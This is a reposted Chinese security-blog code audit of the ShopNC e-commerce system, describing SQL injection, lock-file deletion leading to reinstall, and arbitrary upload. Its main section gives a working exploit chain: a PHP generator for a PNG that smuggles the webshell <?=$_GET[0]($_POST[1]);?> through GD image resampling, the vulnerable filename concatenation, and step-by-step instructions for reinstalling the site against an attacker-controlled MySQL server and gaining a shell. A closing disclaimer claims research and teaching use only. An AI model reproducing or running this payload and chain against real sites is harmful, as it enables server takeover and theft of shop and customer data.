ShopNC商场代码审计&裁剪图片业务绕过getshell

admin 2026-06-23 06:18:58 网络安全文章 来源:ZONE.CI 全球网 0 阅读模式

文章总结: 本文对ShopNC商城系统进行代码审计,发现三个高危漏洞:通过构造恶意数组绕过parseValue函数实现SQL注入,利用路径遍历删除install/lock文件导致重装,以及后台会员标签编辑处通过控制oldmembertagname参数实现任意文件上传。文章详细分析了漏洞成因并提供了完整的漏洞复现流程与POC。 综合评分: 82 文章分类: 代码审计,WEB安全,漏洞分析,安全开发,实战经验


绕过PHP-GD图片裁剪

这个方法主要用到了参考文献2,让图片经历过重采样复制和调整图像部分大小之后还能带有payload。结合了文件重命名可以命名为php文件的路径拼接漏洞,达到getshell的效果。

core/framework/function/thumb.phpresize_thumb 53
circle/control/cut.phppic_cutOp 60

存在问题的代码:

if (!empty($_POST['filename'])){
$save_file2 = BASE_UPLOAD_PATH.'/'.$_POST['filename'];

先通过以下代码创建payload图片

<?

header('Content-Type: image/png');

$p&nbsp;=&nbsp;array(0xA3,&nbsp;0x9F,&nbsp;0x67,&nbsp;0xF7,&nbsp;0x0E,&nbsp;0x93,&nbsp;0x1B,&nbsp;0x23,&nbsp;0xBE,&nbsp;0x2C,&nbsp;0x8A,&nbsp;0xD0,&nbsp;0x80,&nbsp;0xF9,&nbsp;0xE1,&nbsp;0xAE,&nbsp;0x22,&nbsp;0xF6,&nbsp;0xD9,&nbsp;0x43,&nbsp;0x5D,&nbsp;0xFB,&nbsp;0xAE,&nbsp;0xCC,&nbsp;0x5A,&nbsp;0x01,&nbsp;0xDC,&nbsp;0xAA,&nbsp;0x52,&nbsp;0xD0,&nbsp;0xB6,&nbsp;0xEE,&nbsp;0xBB,&nbsp;0x3A,&nbsp;0xCF,&nbsp;0x93,&nbsp;0xCE,&nbsp;0xD2,&nbsp;0x88,&nbsp;0xFC,&nbsp;0x69,&nbsp;0xD0,&nbsp;0x2B,&nbsp;0xB9,&nbsp;0xB0,&nbsp;0xFB,&nbsp;0xBB,&nbsp;0x79,&nbsp;0xFC,&nbsp;0xED,&nbsp;0x22,&nbsp;0x38,&nbsp;0x49,&nbsp;0xD3,&nbsp;0x51,&nbsp;0xB7,&nbsp;0x3F,&nbsp;0x02,&nbsp;0xC2,&nbsp;0x20,&nbsp;0xD8,&nbsp;0xD9,&nbsp;0x3C,&nbsp;0x67,&nbsp;0xF4,&nbsp;0x50,&nbsp;0x67,&nbsp;0xF4,&nbsp;0x50,&nbsp;0xA3,&nbsp;0x9F,&nbsp;0x67,&nbsp;0xA5,&nbsp;0xBE,&nbsp;0x5F,&nbsp;0x76,&nbsp;0x74,&nbsp;0x5A,&nbsp;0x4C,&nbsp;0xA1,&nbsp;0x3F,&nbsp;0x7A,&nbsp;0xBF,&nbsp;0x30,&nbsp;0x6B,&nbsp;0x88,&nbsp;0x2D,&nbsp;0x60,&nbsp;0x65,&nbsp;0x7D,&nbsp;0x52,&nbsp;0x9D,&nbsp;0xAD,&nbsp;0x88,&nbsp;0xA1,&nbsp;0x66,&nbsp;0x94,&nbsp;0xA1,&nbsp;0x27,&nbsp;0x56,&nbsp;0xEC,&nbsp;0xFE,&nbsp;0xAF,&nbsp;0x57,&nbsp;0x57,&nbsp;0xEB,&nbsp;0x2E,&nbsp;0x20,&nbsp;0xA3,&nbsp;0xAE,&nbsp;0x58,&nbsp;0x80,&nbsp;0xA7,&nbsp;0x0C,&nbsp;0x10,&nbsp;0x55,&nbsp;0xCF,&nbsp;0x09,&nbsp;0x5C,&nbsp;0x10,&nbsp;0x40,&nbsp;0x8A,&nbsp;0xB9,&nbsp;0x39,&nbsp;0xB3,&nbsp;0xC8,&nbsp;0xCD,&nbsp;0x64,&nbsp;0x45,&nbsp;0x3C,&nbsp;0x49,&nbsp;0x3E,&nbsp;0xAD,&nbsp;0x3F,&nbsp;0x33,&nbsp;0x56,&nbsp;0x1F,&nbsp;0x19&nbsp;);

$img&nbsp;= imagecreatetruecolor(55,&nbsp;55);

for&nbsp;($y&nbsp;=&nbsp;0;&nbsp;$y&nbsp;< sizeof($p);&nbsp;$y&nbsp;+=&nbsp;3) {
$r&nbsp;=&nbsp;$p[$y];
$g&nbsp;=&nbsp;$p[$y+1];
$b&nbsp;=&nbsp;$p[$y+2];
$color&nbsp;= imagecolorallocate($img,&nbsp;$r,&nbsp;$g,&nbsp;$b);
imagesetpixel($img, round($y&nbsp;/&nbsp;3),&nbsp;0,&nbsp;$color);
}

imagepng($img);

?>

执行命令

php gen.php > payload.png

进入个人主页->相册->上传更多照片处上传payload.png。

经过imagecopyresampled($newImage,$source,0,0,0,0,32,32,32,32);处理后由imagepng函数输出新的图片,而这里的路径为我们自定义的文件名。

此时可以看到shell.php中还包含着payload:<?=$_GET[0]($_POST[1]);?>

最后访问/shopnc/data/upload/shell.php就可以愉快的getshell了。

参考文献

  1. Persistent PHP payloads in PNGs: How to inject PHP code in an image –
  2. La PNG qui se prenait pour du PHP

案例演示

这个案例是结合任意文件删除+管理员后台任意文件上传完成getshell,其他路径:SQL注入+管理员后台任意文件上传、IDAT有效载荷。

创建Mysql服务

为了删除lock文件重装后提供数据库信息,我们需要预先在VPS上使用docker创建mysql。

docker run -d --name mysql55 -p&nbsp;3306:3306&nbsp;-e MYSQL_ROOT_PASSWORD=root mysql:5.5

删除lock文件

设置->个人资料->更换头像上传图片并抓取裁剪的数据包。

修改抓到的修改成可以任意文件删除的数据包,删除lock文件。

再次访问是进入到安装向导界面。

重装系统

进入安全后,填写VPS IP以及数据库的账户密码,自定义管理员账户。数据库密码为root,docker语句有设置。

然后进入下一步安装数据库。

后台getshell

访问/admin进入管理员后台界面,使用管理员账号进行登陆。

创建会员标签。

编辑并上传payload图片。

getshell

原文链接:https://forum.butian.net/share/4773


免责声明:

本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。

任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。

本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我

本文转载自:只会看监控的实习生 en0th en0th《ShopNC商场代码审计&裁剪图片业务绕过getshell》

    评论:0   参与:  0